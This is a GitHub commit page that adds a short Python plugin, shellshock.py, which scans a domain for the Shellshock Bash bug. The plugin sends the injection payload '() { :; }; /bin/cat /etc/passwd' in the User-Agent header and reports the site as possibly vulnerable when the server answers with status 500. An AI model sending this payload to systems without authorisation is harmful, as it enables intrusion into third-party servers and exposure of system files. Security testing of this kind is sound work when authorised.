Skip to content

Commit

Permalink
moved the shellshock scanner to plugins
Browse files Browse the repository at this point in the history
  • Loading branch information
Miguel Sanchez authored and Miguel Sanchez committed Aug 15, 2022
1 parent 713d4f1 commit 301e0cd
Showing 1 changed file with 13 additions and 0 deletions.
13 changes: 13 additions & 0 deletions plugins/shellshock.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
from colorama import Fore
import requests

user_agent = "() { :; }; /bin/cat /etc/passwd"
header = {"User-Agent": user_agent}


def shellshock_scan(domain: str) -> str:
res = requests.get(domain, verify=False, headers=header)
if res.status_code == 500:
print(f"{Fore.MAGENTA}[+] {Fore.CYAN}-{Fore.WHITE} Shellshock: {Fore.GREEN}Might be vulnerable!")
else:
pass

0 comments on commit 301e0cd

Please sign in to comment.